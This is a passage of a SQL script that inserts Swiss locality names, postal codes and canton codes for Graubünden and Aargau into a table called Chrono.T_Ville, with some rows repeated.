("CHE","Cumbel",7142,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morissen",7143,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vella",7144,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Degen",7145,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vattiz",7146,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vignogn",7147,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lumbrein",7148,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vrin",7149,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pitasch",7111,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Duvin",7112,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castrisch",7126,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sevgein",7127,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riein",7128,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ilanz",7130,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schnaus",7130,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schnaus",7130,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luven",7141,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ruschein",7154,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ladir",7155,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ladir",7155,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rueun",7156,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pigniu",7156,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siat",7157,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fürstenaubruck",7413,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fürstenau",7414,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothenbrunnen",7405,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scharans",7412,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sils im Domleschg",7411,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cazis",7408,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Realta",7408,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Summaprada",7421,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tartar",7422,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sarn",7423,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Portein",7423,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Präz",7424,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dalin",7424,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flerden",7426,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flerden",7426,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Masein",7425,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thusis",7430,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tschappina",7428,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Urmein",7427,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Versam",7104,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tenna",7106,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Safien Platz",7107,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thalkirch",7109,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valendas",7122,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Feldis/Veulden",7404,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trans",7407,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rodels",7415,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pratval",7415,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Almens",7416,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Paspels",7417,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tumegl/Tomils",7418,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scheid",7419,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campsut-Cröt",7446,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cresta (Avers)",7447,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Am Bach (Avers)",7447,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Juf",7448,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hinterrhein",7438,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nufenen",7437,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Splügen",7435,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Medels im Rheinwald",7436,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sufers",7434,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andeer",7440,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Clugin",7442,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pignia",7443,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wergenstein",7433,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Donat",7433,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lohn GR",7433,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mathon",7433,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rongellen",7430,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zillis",7432,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ausserferrera",7444,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Innerferrera",7445,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Innerferrera",7445,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bonaduz",7402,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Domat/Ems",7013,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rhäzüns",7403,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Felsberg",7012,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flims Dorf",7017,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flims Waldhaus",7018,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fidaz",7019,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tamins",7015,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trin",7014,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trin Mulin",7016,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brail",7527,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zernez",7530,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Susch",7542,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lavin",7543,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Samnaun-Compatsch",7562,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Samnaun Dorf",7563,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guarda",7545,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ardez",7546,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scuol",7550,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ftan",7551,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vulpera",7552,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tarasp",7553,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sent",7554,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crusch",7554,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramosch",7556,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramosch",7556,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vnà",7557,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Strada",7558,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tschlin",7559,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Martina",7560,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bever",7502,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bever",7502,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Celerina/Schlarigna",7505,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Madulain",7523,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Madulain",7523,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pontresina",7504,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Punt-Chamues-ch",7522,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Samedan",7503,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Moritz",7500,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S-chanf",7525,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cinuos-chel",7526,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sils/Segl Maria",7514,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fex",7514,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sils/Segl Baselgia",7515,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Plaun da Lej",7517,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champfèr",7512,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Silvaplana",7513,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Silvaplana-Surlej",7513,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuoz",7524,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuoz",7524,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maloja",7516,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Casaccia",7602,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vicosoprano",7603,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Borgonovo",7604,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stampa",7605,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Promontogno",7606,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bondo",7606,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castasegna",7608,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Soglio",7610,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buseno",6542,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castaneda",6540,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Augio",6547,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossa",6548,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sta. Maria in Calanca",6541,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lostallo",6558,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mesocco",6563,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Bernardino",6565,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Soazza",6562,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cama",6557,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grono",6537,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Verdabbio",6538,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Verdabbio",6538,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leggia",6556,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roveredo GR",6535,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laura",6549,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Vittore",6534,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Vittore",6534,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arvigo",6543,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Braggio",6544,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Selma",6545,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cauco",6546,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tschierv",7532,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fuldera",7533,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lü",7534,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valchava",7535,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sta. Mar<NAME>",7536,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Müstair",7537,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Dorf",7260,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Wolfgang",7265,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Platz",7270,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Clavadel",7272,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Frauenkirch",7276,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Glaris",7277,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Monstein",7278,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davos Wiesen",7494,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fideris",7235,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Furna",7232,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pragg-Jenaz",7231,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jenaz",7233,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saas im Prättigau",7247,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Serneus",7249,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Klosters",7250,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Klosters Dorf",7252,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Conters im Prättigau",7241,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Küblis",7240,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchen im Prättigau",7223,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Putz",7224,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzein",7242,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pany",7243,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gadenstätt",7244,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ascharina",7245,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Antönien",7246,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chur",7000,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Passugg",7062,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Malix",7074,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Churwalden",7075,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Parpan",7076,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castiel",7027,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lüen",7027,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Calfreisen",7027,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Peter",7028,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pagig",7028,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Peist",7029,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arosa",7050,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Molinis",7056,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langwies",7057,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Litzirüti",7058,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maladers",7026,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Praden",7063,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tschiertschen",7064,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Haldenstein",7023,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Says",7202,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trimmis",7203,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Untervaz",7204,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zizers",7205,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fläsch",7306,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jenins",7307,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maienfeld",7304,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Malans GR",7208,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Igis",7206,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Landquart",7302,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mastrils",7303,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valzeina",7213,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grüsch",7214,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fanas",7215,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schiers",7220,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schiers",7220,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lunden",7222,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stels",7226,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stels",7226,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fajauna",7226,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schuders",7228,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pusserein",7228,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seewis Dorf",7212,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seewis-Pardisla",7212,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seewis-Schmitten",7212,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tavanasa",7162,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Danis",7163,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dardin",7164,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Breil/Brigels",7165,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Disentis/Mustér",7180,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cavardiras",7182,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mumpé Medel",7183,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Segnas",7186,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Curaglia",7184,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Platta",7185,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rabius",7172,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Surrein",7173,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Benedetg",7174,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sumvitg",7175,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cumpadials",7176,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Camischolas",7187,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sedrun",7188,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rueras",7189,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trun",7166,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zignau",7167,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlans",7168,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obersaxen",7134,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flond",7137,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Surcuolm",7138,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aarau",5000,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aarau",5004,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aarau Rohr",5032,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biberstein",5023,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchs AG",5033,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Asp",5025,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Densbüren",5026,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Barmelweid",5017,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erlinsbach",5018,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gränichen",5722,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hirschthal",5042,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rombach",5022,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Küttigen",5024,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muhen",5037,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberentfelden",5036,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Suhr",5034,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterentfelden",5035,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baden",5400,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baden",5404,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dättwil AG",5405,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rütihof",5406,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellikon",5454,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bergdietikon",8962,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birmenstorf AG",5413,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ennetbaden",5408,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fislisbach",5442,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Freienwil",5423,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gebenstorf",5412,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vogelsang AG",5412,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Killwangen",8956,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Künten",5444,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mägenwil",5506,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mellingen",5507,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuenhof",5432,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederrohrdorf",5443,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberrohrdorf",5452,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nussbaumen AG",5415,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hertenstein AG",5415,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rieden AG",5415,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchdorf AG",5416,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Remetschwil",5453,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Spreitenbach",8957,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stetten AG",5608,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Turgi",5300,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siggenthal Station",5301,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Untersiggenthal",5417,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wettingen",5430,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wohlenschwil",5512,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Würenlingen",5303,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Würenlos",5436,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kloster Fahr",8109,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ehrendingen",5420,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arni AG",8905,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berikon",8965,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bremgarten AG",5620,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hermetschwil-Staffeln",5626,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büttikon AG",5619,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dottikon",5605,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eggenwil",5445,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fischbach-Göslikon",5525,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hägglingen",5607,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jonen",8916,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederwil AG",5524,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nesselnbach",5524,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberlunkhofen",8917,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwil-Lieli",8966,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rudolfstetten",8964,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sarmenstorf",5614,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tägerig",5522,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uezwil",5619,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterlunkhofen",8918,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villmergen",5612,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hilfikon",5613,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Widen",8967,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wohlen AG",5610,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Anglikon",5611,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zufikon",5621,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Islisberg",8905,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auenstein",5105,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birr",5242,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birrhard",5244,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bözen",5076,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brugg AG",5200,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Umiken",5222,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Effingen",5078,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Elfingen",5077,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Habsburg",5245,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hausen AG",5212,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lupfig",5242,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mandach",5318,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mönthal",5237,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mülligen",5243,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Remigen",5236,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riniken",5223,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüfenach AG",5235,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scherz",5246,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schinznach Bad",5116,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thalheim AG",5112,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Veltheim AG",5106,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stilli",5233,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villigen",5234,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villnachern",5213,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Windisch",5210,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bözberg",5225,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schinznach Dorf",5107,"AG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberflachs",5108,"AG"); INSERT INTO Chrono.T_Ville VALUES 